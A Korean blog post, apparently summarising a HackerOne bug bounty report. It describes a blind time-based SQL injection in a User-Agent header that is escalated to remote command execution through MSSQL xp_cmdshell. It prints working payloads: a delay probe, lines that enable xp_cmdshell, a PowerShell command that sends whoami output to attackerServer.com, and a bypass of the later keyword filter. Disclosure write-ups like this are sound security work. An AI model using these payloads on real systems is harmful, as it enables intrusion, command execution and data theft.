본문 바로가기

보안/버그바운티

버그바운티 보고서 - Time-Based SQL Injection to RCE

보고서 링크(Here)

 

SQL Injection to RCE

HackerOne

Blind User-Agent SQL Injection to Blind Remote OS Command Execsution at `~~.com`

 

1.1

사용자 입력값을 받는지 확인

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'--

 

1.2

Time-based SQL Injection

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36';WAITFOR DELAY ‘00:00:05’;--

응답이 지연되는 것을 확인 후 RCE 시도

 

2.1

MSSQL에서 xp_cmdshell의 기본값은 비활성화(0) 상태로, 이를 활성화하기위해 두 단계를 거침

 

1) show advenced options을 1로 설정하여, xp_cmdshell과 같은 고급옵션을 표시하는 옵션을 활성화. 그 후 RECONFIGURE 명령을 사용하여 바뀐 서버구성 적용

2) xp_cmdshell을 1로 설정하여 활성화 후 RECONFIGURE 통해 서버구성 적용

 

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64: x64) AppleWebKit/537.36 (KHTML, like Gecko) Crhome/93.0.4577.82 Safari/537.36'; EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--

 

 

2.2 

이후 공격자의 서버로 ping 요청을 보내는 명령어를 시도함. 서버로부터 응답이 오는지 확인 (테스트)

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64: x64) AppleWebKit/537.36 (KHTML, like Gecko) Crhome/93.0.4577.82 Safari/537.36'; EXEC xp_cmdshell 'ping http://attackerServer.com';--

 

또, 이러한 방식으로 임의 명령이 실행하다는 것을 증명

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64: x64) AppleWebKit/537.36 (KHTML, like Gecko) Crhome/93.0.4577.82 Safari/537.36'; EXEC xp_cmdshell 'powershell -c "$x = whoami; curl http://attackerServer.com/get?output=$x"';--

 

제보 이후 패치했으나, 'EXEC xp_cmdshell' 문자열이 존재할 때 필터링하는 식의 패치가 됨
EXEC와 xp_cmdshell을 분리하면 우회 가능

 

3.1  

DECLARE 명령을 사용해 $x변수에 xp_cmdshell 선언. $x 변수를 사용하여 `EXEC $x` 실행

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64: x64) AppleWebKit/537.36 (KHTML, like Gecko) Crhome/93.0.4577.82 Safari/537.36'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping http://attackerServer.com';--

 

정상적으로 명령이 실행된다.

'보안 > 버그바운티' 카테고리의 다른 글

버그바운티 보고서 - SSRF Dropbox  (0) 2023.09.21
버그바운티 보고서 - Path Traversal to RCE  (0) 2023.09.21
버그헌팅 TIP  (0) 2023.09.19